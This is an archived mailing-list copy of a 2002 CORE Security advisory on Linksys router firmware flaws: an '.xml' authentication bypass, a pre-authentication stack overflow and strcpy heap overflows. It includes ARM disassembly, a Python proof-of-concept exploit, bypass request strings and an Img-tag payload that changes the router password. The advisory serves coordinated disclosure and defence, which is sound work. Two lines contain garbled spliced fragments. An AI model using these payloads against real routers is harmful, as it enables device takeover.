[VulnWatch] CORE-20021005: Vulnerability Report For Linksys Devices

From: CORE Advisories (advisories@corest.com)
Date: 12/10/02

  • Next message: Steven M. Christey: "[VulnWatch] Directory Traversal Vulnerabilities in FTP Clients"
    Date: Tue, 10 Dec 2002 17:47:35 -0300
    From: CORE Advisories <advisories@corest.com>
    To: vulnwatch@vulnwatch.org
    
    

                        CORE Security Technologies
                          http://www.corest.com

                 Vulnerability Report For Linksys Devices

    Date Published: 2002-12-02

    Last Update: 2002-12-02

    Advisory ID: CORE-20021005

    Bugtraq ID: 6301, 6303, 6304, 6208, 6201, 6090

    CVE: None currently assigned.

    Title: Remotely exploitable Buffer overflows and
            Authentication bypassing bugs on Linksys BEFW11S4
            Wireless router and other devices.

    Class: Implementation flaws

    Remotely Exploitable: Yes

    Locally Exploitable: Yes

    Advisory URL: http://www.corest.com/common/showdoc.php?idx=263&idxseccion=10 that email links go to, for instance # "mailto: . CORE tested fix, found new and still existing bugs: 2002-11-15

    Vendors contacted:

    - Linksys
       . CORE notification: 2002-11-12
       . Notification acknowledged by Linksys: 2002-11-13
       . Linksys fix provided in response to another
         advisory: 2002-11-15 (v1.43.3)
       . CORE tested fix, found new and still existing bugs: 2002-11-15
       . Linksys fix provided: 2002-11-22 (v1.44)
       . CORE tested fix: 2002-11-22
       . Linksys final testing and statements: 2002-12-02

    Release Mode: COORDINATED RELEASE

    *Vulnerability Description:*

    Many Linksys' network appliances have a remote administration and
    configuration interface via HTTP, either from the local network,
    or, if it's enabled, from any host across the internet.
    The implementation of the embedded HTTP server presents several
    different exploitable vulnerabilities, some of them allow an
    unauthorized user to gain control of the appliance, some let an
    attacker reboot it, and some are of an unknown severity.

    One of the bugs was independently discovered by Seth Bromberger
    and other people as well, and was partially fixed by Linksys
    on firmwares version 1.43.3 (see [2]). Some of the other bugs
    were discussed on different mailing lists, and were incorrectly
    tagged as different Denial of Service bugs, while either they
    are different incarnations of the same bugs or are exploitable
    buffer overflows leading to code execution, as we will try to
    explain in this advisory. Yet some other bugs, form a big family
    from which only one was mentioned in an iDefense advisory [3].

    The first bug is due to the fact that no authentication is
    required to access any .xml page from the appliance.
    This is needed to support UPnP, but is not disabled when UPnP
    support is disabled. An error in how the URL is parsed
    allows any user to access any page in the remote administration
    interface without supplying a password. After this, she could
    modify filtering rules, change the administration password,
    enable remote administration from any host on the internet,
    upload a new firmware, and perform any other configuration
    action an authenticated user is able to do. This bug was
    partially fixed on firmware version 1.43.3, but in this version
    there is still a way to bypass authentication using the checks
    for UPnP's .xml pages. At the same time, three other similar
    bugs were introduced in this firmware (only for BEFW11S4),
    which allow authentication bypassing in a similar way.

    The second kind of bugs are due to a stack based buffer
    overflow, and let an attacker execute arbitrary code in the
    appliance, gaining total control over it. After this, she could
    change any of the configuration options previously mentioned,
    or even turn it into an agent which could be used as stepping
    stone to pivot, either to the internal network, or to the
    internet, as part of a more complex attack. As this bug is
    present in the code previous to authentication, no password
    is needed to exploit this vulnerability.

    Additionally, there are several "heap" based buffer overflows,
    all of them, as far as we could verify, are post authentication.
    We haven't determined if the exploitation of these bugs may
    lead to arbitrary code execution or any other way of
    "privilege escalation", but we do not discard this possibility.

    *Vulnerable Systems:*

    The problems were identified and tested on:

      - Linksys BEFW11S4 v2. Firmware v1.42.7
      - Linksys BEFW11S4 v2. Firmware v1.43
      - Linksys BEFW11S4 v2. Firmware v1.43.3 (partially fixes some bugs)

    Known to be vulnerable to all the pre v.1.43.3 bugs:

      - Linksys BEFW11S4 v2. Firmware v1.42.7
      - Linksys BEFW11S4 v2. Firmware v1.43
      - Linksys BEFSR41 / BEFSR11 / BEFSRU31. Firmware v1.42.7
      - Linksys BEFSR41 / BEFSR11 / BEFSRU31. Firmware v1.43
      - Linksys BEFSR81. Firmware v2.42.7.1
      - Linksys BEFN2PS4. Firmware v1.42.7
      - Linksys BEFSX41. Firmware v1.43
      - Linksys BEFSX41. Firmware v1.43.3
      - Linksys BEFSX41. Firmware v1.43.4

    Known to be vulnerable to some of the bugs here described:
      - Linksys BEFVP41. Firmware v1.40.2
      - Linksys BEFVP41. Firmware v1.40.3

    Known to have some bugs fixed and some new introduced:
      - Linksys BEFW11S4 v2. Firmware v1.43.3
      - Linksys BEFSR41 / BEFSR11 / BEFSRU31. Firmware v1.43.3

    Firmwares previous to those mentioned here may be vulnerable
    to some of the vulnerabilities here described, but were not
    verified.

    *Solution/Vendor Information*

    "Linksys has already posted firmware updates for the
    following affected products at http://www.linksys.com/download/ :

      - Linksys BEFSR41 / BEFSR11 / BEFSRU31. Firmware v. 1.44
      - Linksys BEFSR81. Firmware v. 2.44
      - Linksys BEFVP41. Firmware v. 1.40.4
      - Linksys BEFSX41. Firmware v. 1.44
      - Linksys BEFW11S4 ver2. Firmware v. 1.44

    We are currently working on updates for the following products,
    and hope to have them posted this week:

      - Linksys BEFW11S4 ver1
      - Linksys HPRO200
      - Linksys BEFN2PS4

    Linksys recommends that users update their firmware for their
    device, if available. For users of products that do not yet
    have fixes available, it is recommended to disable remote
    administration to minimize the risk of an attack until the
    updated firmware versions are posted."

    *Workarounds*

       - Disable "Remote Management" if it's enabled. This will
         restrict the exploitability of the bugs to the local
         network, or require a little smarter attack, for example,
         an email with an embedded Img tag may, upon reading,
         enable "Remote Management", giving the attacker full control
         of the appliance across the internet. For example:

    <Img Src=http://192.168.1.1/Gozila.cgi?setPasswd=hola&RemoteManagement=1&.xml=1 to the path to the Message header templa

       - On firmwares newer than 1.43.3 the Remote Management
         port can be changed. This will not make the attack impossible
         at all, but will somehow make it a little tougher for an
         attacker, probably giving you some more time to detect her.

    *Credits:*

    These vulnerabilities were discovered and researched by
    Gerardo Richarte at CORE SECURITY TECHNOLOGIES.

    We would like to thank Jay Price from Linksys for the quick
    response to these issues.

    *Technical Description - Exploit/Concept Code*

    Every test described in this section was done using a Linksys
    BEFW11S4 v2 with firmware version 1.42.7, bought on the first
    days of October in 2002, no firmware upgrade was applied to it
    until a new firmware version was out, after this we installed
    1.43.3 on it to confirm our findings. We also verified other
    versions of the firmware (namely 1.43) and firmwares for other
    products from Linksys, and all of them presented the same
    vulnerabilities. Although we haven't been able to verify the
    existence of these bugs in a real environment, detailed review
    of the firmware indicates all the bugs here described are
    present.

    Authentication Bypassing vulnerabilities:
    ~~~~~~~~~~~~~~ ~~~~~~~~~ ~~~~~~~~~~~~~~~

    This vulnerability was independently discovered and reported to
    Linksys by at least two other persons. Seth Bromberger posted
    a report to bugtraq about this vulnerability (see [2]).
    It was partially fixed in firmware v1.43.3, but it's still
    possible to exploit it, keep on reading.

    As part of the UPnP implementation [1], the Linksys family of
    products multicast their features as part of UPnP's Discovery
    step. For this UDP packets are sent from port 1901 to multicast
    address 239.255.255.250 port 1900. The following are two examples
    of such packets' data.

         NOTIFY * HTTP/1.1
         HOST:239.255.255.250:1900
         Cache-Control:max-age=120
         Location:http://192.168.1.1:5678/rootDesc.xml
         NT:uuid:upnp-InternetGatewayDevice-1_0-0090a2777777
         NTS:ssdp:alive
         Server:NT/5.0 UPnP/1.0
         USN:uuid:upnp-InternetGatewayDevice-1_0-0090a2777777

         NOTIFY * HTTP/1.1
         HOST:239.255.255.250:1900
         Cache-Control:max-age=120
         Location:http://192.168.1.1:5678/rootDesc.xml
         NT:urn:schemas-upnp-org:device:InternetGatewayDevice:1
         NTS:ssdp:alive
         Server:NT/5.0 UPnP/1.0

    USN:uuid:upnp-InternetGatewayDevice-1_0-0090a2777777::urn:schemas-upnp-org:device:Intern

    etGatewayDevice:1

    In response to these packets, an UPnP control point will retrieve
    a description from the URL supplied in the NOTIFY packet,
    using the HTTP protocol. In our case this URL is
    http://192.168.1.1:5678/rootDesc.xml, and no authentication
    is needed to access it (you can test this using the browser of your
    choice). In order to answer requests to port 5678 and to serve
    remote administration pages on port 80, Linksys' products use the
    same embedded HTTP server "application".

    The HTTP server will check the requested URL for the substring
    ".xml", if this substring is present, all the authentication
    verification code will be just skipped, let’s see the following
    ARM assembly fragment, extracted from a firmware image:

    01797E LDR R0, =HTTPRequest
    017980 STR R7, [R0,#HttpRequest.buffer]
    017982 LDR R0, =HTTPRequest
    017984 LDRH R0, [R0,#HttpRequest.method_length]
    017986 ADD R0, R0, R7
    017988 ADD R0, #1
    01798A LDR R1, =HTTPRequest
    01798C STR R0, [R1,#HttpRequest.path]
    01798E ADD R0, R7, #0
    017990 ADR R1, a_xml_0 ; ".xml"
    017992 BL strstr ; (string, subst)
    017996 CMP R0, #0
    017998 BEQ loc_179A2 ; read more from net and do auth
    01799A MOV R0, #0
    01799C LDR R1, =HTTPRequest
    01799E STRH R0, [R1,#HttpRequest.has_args+2]
    0179A0 B loc_17ACE ; skip auth

    As this code is shared for serving UPnP requests (on port 5678)
    and any other HTTP requests, the authentication can be bypassed
    just adding the string ".xml" anywhere in the requested URL:
    The function strstr() at 0x17992 will answer there is a substring
    matching ".xml" and the conditional jump at 0x17ACE will skip
    the authentication verification code (and some other code as
    well).

    These checks were reinforced with additional comparisons.
    The idea was to authorize requests without authentication only
    for /rootDesc.xml, /Layer3Forwarding.xml, /WANCfg.xml and
    WANIPCn.xml. But the request is parsed in, at least,
    two different places in the code, and these two parsings are not
    coherent, so there is a still a way to bypass the authentication.
    We will not go through the code this time, but if you replace
    the correct line in linksys_exploit.py (below) you would be
    able to access the Remote Management interface without having
    the correct password:

             self.toSend = "BBB /Log.htm GET /rootDesc.xml"

    There are other ways to exploit this bug, for example, we've
    been able to craft an HTML page which, when loaded, changes
    the Remote Management password, and enables Remote Management
    through the internet. Of course, this page could be attached
    to an email, and be used to perform these changes "from the
    internet, even when the Remote Management feature is disabled".

    Additionally, in firmware v1.43.3 three other authentication
    bypassing vulnerabilities were introduced. These new
    vulnerabilities work in pretty much the same way as the original
    ".xml" vulnerability, but the new magic strings are different:
    "TxRxTest", "CalibrationTest" and "WriteCalibration".
    Linksys reported that these vulnerabilities are only present in
    the wireless products of the family. It's worth to mention that
    we haven't verified the security implications (if there are any)
    of allowing unauthorized access to these three requests.

    Stack Based Buffer Overflows:
    ~~~~~ ~~~~~ ~~~~~~ ~~~~~~~~~

    Following the previously described code, if the request line
    does not contain the substring ".xml", if it's a GET request and,
    after what we believe is a small delay, a second part of the request
    is read from the net. On entry to this function, space is allocated
    in the stack for local variables and buffers.
    Only 0x1FC+0x1F0 = 1004 bytes are reserved.

    01791C PUSH {R0-R2,R4-R7,LR}
    01791E ADD R7, R0, #0
    017920 SUB SP, SP, #0x1FC
    017922 SUB SP, SP, #0x1F0
    017924 LDR R0, =unk_A016C

    Then, 1596 bytes are read from the net into a local buffer in the
    stack. Not every request will have enough bytes to overflow
    the buffer, and that's why the code doesn't usually crash. But if
    a long request is sent, the buffer is overflown and the stack can
    be modified "a piaccere". Note that the "first fragment" is read
    before entering these functions, into another buffer allocated in
    the stack.

    0179E4 ADD SP, SP, #4
    0179E6 LDR R0, [R6,#HttpRequest.response_length]
    0179E8 CMP R0, #0
    0179EA BEQ loc_187D8
    0179EC MOV R1, SP
    0179EE LDR R0, [SP,#connection_id]
    0179F0 LDR R2, =1596
    0179F2 BL read_from_net ; (sock, buffer, buffer_size)
    0179F6 ADD R4, R0, #0
    0179F8 ADD R2, R4, #0
    0179FA ADR R1, aSFP ; "Second fragmented packe.."
    0179FC MOV R0, #2
    0179FE BL log ; (loglevel,char *format,...)
    017A02 MOV R1, #0
    017A04 MOV R0, SP
    017A06 STRB R1, [R0,R4]
    017A08 MOV R1, SP
    017A0A ADD R0, R7, #0
    017A0C BL strcat

    There is a another problem on this code fragment. After reading
    the second fragment of the request, strcat() is used to append it
    to the first fragment, but the first fragment is also stored in
    a local buffer of 1596 bytes. While this is in fact a buffer
    overflow, its exploitability is not yet determined, as we are
    dealing with a bigendian setup, and all valid memory addresses
    contain a zero in their most significant byte... But we've seen
    tougher bugs exploited, so...

    This second vulnerability regarding strcat() was partially fixed
    on firmware v 1.43.3. Partially for two different reasons:

         On one side, there are two callers of this function, from
         what we could determine one caller is responsible for requests
         done to the Remote Management port, and the other caller answers
         requests to port 5678. Only one of these functions was fixed
         (extending the buffer size from 1596 to 3192), but the other
         function (the one answer requests on port 5678) is still
         allocating only 1596 bytes. You can test this vulnerability
         changing the correct line in, again, linksys_exploit.py to:

             self.s.connect(('192.168.1.1',5678))

         For this to work, UPnP must be enabled (at least on v1.43.3)

         On the other side this is only a partial fix because, although
         the buffer was enlarged from 1596 to 3192, the read() for the
         first fragment was also increased from 1596 to 3192 bytes,
         and the strcat() would still overflow the buffer if there are
         more than 1596 bytes to read for the first fragment. This does
         not immediately lead to a vulnerability, as Linksys' internal
         TCP implementation will not return more than MTU bytes on a
         single read, but if this fact is changed in the future, this
         vulnerability will mysteriously re-appear.

    The following python program will exploit the first of the two
    buffer overflows, and redirect the execution flow to jump to
    the address 0x175fa (only valid for BEFW11S4 for firmware v1.42.7.
    For v1.43 or other appliances you'll have to change it). For this
    proof of concept exploit we are not introducing our own code
    (or "shellcode"), we are rather using code already present in the
    firmware, with the only purpose of showing the exploitability of
    the bug.

    ------- linksys_exploit.py --------
    import socket
    import struct
    import select

    class Exploit:
         def __init__(self):
             pass

         def setup(self):
             self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
             self.s.connect(('192.168.1.1',80))

             self.returnAddress = 0x1834c # 1.43 log(2,"unknown file name!")
             self.returnAddress = 0x175fa # 1.42.7 log(2,"unknown file name!")

             self.paddingSize = 1500-20-20+1004+7*4
             # 1500 is MTU
             # 20 IP header
             # 20 TCP header
             # 1004 for allocated space
             # 7 saved registers
             self.toSend = "GET "
             self.toSend += "A"*(self.paddingSize-len(self.toSend))
             self.toSend += struct.pack(">L", self.returnAddress)

         def attack(self):
             self.s.send(self.toSend)
             (r,w,x) = select.select([self.s],[],[],2)
             if self.s in r:
                 print self.s.recv(100000)
             self.s.close()

         def run(self):
             self.setup()
             self.attack()

    def main():
         ex = Exploit()
         ex.run()

    main()
    -----------------------------------

    To understand what the code at the chosen address does, we need
    some more insight in what are firmware's capabilities.

    In the previous assembly fragment, at 0x179FE you can see a
    function we named log() being called. This function will send an
    SNMP trap to the configured SNMP server. The first argument (2 in
    this example) is a bitmask indicating the facility the message
    applies to. You can configure your SNMP server from the Log tab
    in the HTTP administration page. From this page you can also enable
    or disable the "Access" facility. If you check the source for that
    page, you'll see it's setting bit 0 of the rLog variable. The other
    meaningful bits are, apparently 1,2 and 3, "System", "PPPoE & RAS"
    and "NAT" facilities, respectively. We first thought we would have
    to manually deal with bits!, but we later found there is a page
    you can use to change these values, if your Linksys appliance is
    at 192.168.1.1 you can try your preferred browser on
    http://192.168.1.1/LogManage.htm. This page is not reachable from
    any other page in the Remote Management system.

    Back to where we left. The described code fragment is calling
    log(2, "Second fragmented packet comes in, len=%d", len).
    In order to see the SNMP trap generated we'll have to enable
    facility "System" and setup our SNMP traps server. After doing
    this, you should start seeing SNMP traffic coming from the
    appliance. If you don't want to use a sniffer, you can either
    download some SNMP monitoring application, use one you already
    have, use netcat or use the python program included, which just
    dumps incoming packets to UDP port 162... which is a little more
    than enough.

    Back to the last remaining bit of the exploit, the code we are
    jumping to is:

    0175FA MOV R0, #1
    0175FC LDR R1, =unk_A0180
    0175FE STR R0, [R1,#0x20]
    017600 ADR R1, aUnknownFileNam ; "Unknown File Name !"
    017602 MOV R0, #2
    017604 BL log

    This code just sends an SNMP trap with the string
    "Unknown File Name !" through the network. So, if the exploit works
    and you are able to see SNMP traps, you'll see this string on the
    net. After this the appliance will reboot itself, and start working
    again, without loosing any configuration. If you are doing all this
    on a wireless connection as we did, you may need to rescan/reconnect
    to the AP in order for it to work again (probably only true if WEP
    is enabled)

    ------- snmp-traps.py --------
    import socket

    class SNMPTrapsServer:
         def __init__(self):
             pass

         def start(self):
             self.s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
             self.s.bind(("0",162))
             while 1:
                 snmp = self.s.recv(1500)
                print snmp[73:]

         def stop(self):
             self.s.close()

    server = SNMPTrapsServer()
    server.start()
    server.stop()
    ------------------------------

    "Heap" Based Buffer Overflows:
    ~~~~~~ ~~~~~ ~~~~~~ ~~~~~~~~~

    Configuration is maintained in global variables on fixed locations,
    there is no dynamic heap allocation routines in the firmware,
    as far as we could determine. From what we saw, every string
    variable is copied from the HTTP request to the global storage using
    strcpy(), what directly turns every string variable in a possibility
    of causing a buffer overflow.

    Ignoring the authentication bypassing bugs (which will hopefully be
    fixed now), to be able to overflow any of these buffers, an attacker
    must be authenticated, and even then, we are not sure how much
    damage can be done. From our tests, it is possible to force a reboot
    using some of these buffer overflows. And although we haven't been
    able to execute arbitrary code abusing any of this bugs, we do not
    discard the possibility. There are some linked lists handling
    (related to active connections), and some function pointers
    (related to IRQ handling) probably too far ahead in the memory to
    be reachable with one of these buffer overflows.

    Some of the variables which are copied using strcpy() are:

    "V_nameA" through "V_nameJ", "Vn?" where "?" is one of 30 different
    characters, "ApName0" through "ApName9", "hostName", "DomainName",
    "sysPasswd", "wirelessESSID", "Passphrase", "pppoeUName",
    "pppoePWD", "pppoeSName", "community1", "community2", "community3",
    "community4", probably others.

    *REFERENCES:*

    [1] Universal Plug and Play Device Architecture, version 1.0
         http://www.upnp.org/download/UPnPDA10_20000613.htm

    [2] Linksys router vulnerability
         http://online.securityfocus.com/archive/1/300402

    [3] iDefense security advisory
         http://www.idefense.com/advisory/11.19.02a.txt

    *DISCLAIMER:*

    The contents of this advisory are copyright
    (c) 2002 CORE SECURITY TECHNOLOGIES and may be distributed freely
    provided that no fee is charged for this distribution and proper
    credit is given.



    Relevant Pages

    • [Full-Disclosure] CORE-20021005: Vulnerability Report For Linksys Devices
      ... Linksys fix provided in response to another ... buffer overflows leading to code execution, ... partially fixed on firmware version 1.43.3, ...
      (Full-Disclosure)
    • CORE-20021005: Vulnerability Report For Linksys Devices
      ... Vulnerability Report For Linksys Devices ... Remotely exploitable Buffer overflows and Authentication ... on the internet, upload a new firmware, and perform any other configuration ...
      (Bugtraq)
    • [NEWS] Libxml2 Remote Buffer Overflows
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Several buffer overflows were found in various code portions in libxml2. ... * A buffer overflow exists when parsing a proxy URL with FTP information ...
      (Securiteam)
    • Buffer overflows and asctime()
      ... A buffer overflow in the C standard document ... When you write %.3d it means that at least 3 characters will be output, but it could be much more if, for instance, the input is bigger than 999. ... In that case, the buffer allocated for asctime is too small to contain the printf result, and a buffer overflow will happen. ... How much buffer space we would need to protect asctime from buffer overflows in the worst case? ...
      (comp.std.c)
    • Re: Stack growth direction to thwart buffer overflow attacks
      ... |>> via SIGABRT or whatever when the buffer is exceeded, ... an inherent problem in languages like C and C++. ... to reduce buffer overflows, but they are not a solution. ... The ONLY cure is an architected language where either the compiler ...
      (comp.security.unix)